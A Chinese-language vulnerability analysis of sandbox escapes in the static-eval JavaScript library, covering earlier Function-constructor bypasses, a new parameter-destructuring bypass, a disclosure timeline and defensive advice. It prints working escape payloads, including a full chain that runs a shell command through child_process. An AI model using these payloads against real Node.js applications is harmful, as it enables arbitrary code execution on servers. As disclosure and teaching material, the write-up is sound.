一个JS沙箱逃逸漏洞
字数 1380 2025-08-29 08:32:00
JavaScript沙箱逃逸漏洞分析与利用
1. 漏洞背景
本文详细分析了一个JavaScript沙箱逃逸漏洞,该漏洞存在于static-eval库中,允许攻击者绕过沙箱限制执行任意代码。这种漏洞在需要执行用户输入表达式的Web应用中尤其危险。
2. static-eval库简介
static-eval是一个用于安全评估JavaScript表达式的库,它通过以下方式工作:
- 使用
esprima库将表达式解析为AST(抽象语法树) - 分析AST结构,确保表达式是安全的
- 评估通过检查的表达式
虽然文档说明它"不是设计用作沙箱",但许多开发者仍错误地将其用于此目的。
3. 已知漏洞分析
3.1 第一个漏洞:Function构造器利用
漏洞原理:
"".sub.constructor("console.log(process.env)")()
"".sub获取String构造器的substring方法(一个函数对象)- 访问其
constructor属性获取Function构造器 - 使用Function构造器创建新函数并执行
修复方式:
禁止访问函数对象的属性:
if((obj === FAIL) || (typeof obj == 'function')){
return FAIL;
}
3.2 第二个漏洞:匿名函数利用
漏洞原理:
(function(){console.log(process.env)})()
- 创建匿名函数并立即执行
- 函数体被直接传递给Function构造器
修复方式:
最初完全禁用匿名函数,后来改为分析函数体内容。
4. 新漏洞发现:参数析构绕过
4.1 漏洞原理
利用ECMAScript的参数析构特性绕过沙箱检查:
(function({book}){return book.constructor})({book:"".sub})("恶意代码")()
关键点:
- 使用对象模式(ObjectPattern)参数而非标识符(Identifier)
- static-eval检查时不会覆盖对象模式参数的变量值
- 运行时传入函数对象,获取其constructor
4.2 技术细节
-
AST分析差异:
- 普通参数:
Identifier类型 → 被覆盖为null - 析构参数:
ObjectPattern类型 → 不被覆盖
- 普通参数:
-
执行流程:
- 定义时:
book被视为普通对象(允许访问constructor) - 调用时:传入
"".sub(函数对象),成功获取Function构造器
- 定义时:
4.3 完整利用链
(function({book}){
return book.constructor
})({book:"".sub})(
"console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())"
)()
5. 实际应用限制
在jsonpath库中使用时遇到限制:
- jsonpath使用
@作为特殊变量名 @不是合法ECMAScript标识符- 导致函数包装失败,利用链中断
6. 防御建议
- 不要使用static-eval作为沙箱:遵循库作者的明确警告
- 参数检查强化:应检查所有可能的参数类型,不仅是Identifier
- 运行时类型验证:对函数调用时的参数进行额外检查
- 严格限制可用对象:使用Proxy或冻结关键对象
7. 漏洞时间线
- 2019/01/02:漏洞报告提交
- 2019/01/03:NodeJS安全团队响应
- 2019/02/14:漏洞正式发布
- 2019/02/15:static-eval发布修复版本
- 2019/02/18:README添加免责声明
- 2019/02/26:修复补丁中的bug
8. 总结
此漏洞展示了JavaScript沙箱实现的复杂性,特别是当语言特性与安全模型交互时。关键教训包括:
- 参数解析不一致会导致严重安全漏洞
- AST分析必须覆盖所有可能的语法结构
- 运行时行为可能与静态分析时的假设不同
- 依赖非沙箱设计的库实现沙箱功能是危险的
安全开发人员应深入理解这类漏洞模式,在设计和实现安全敏感功能时进行全面的威胁建模。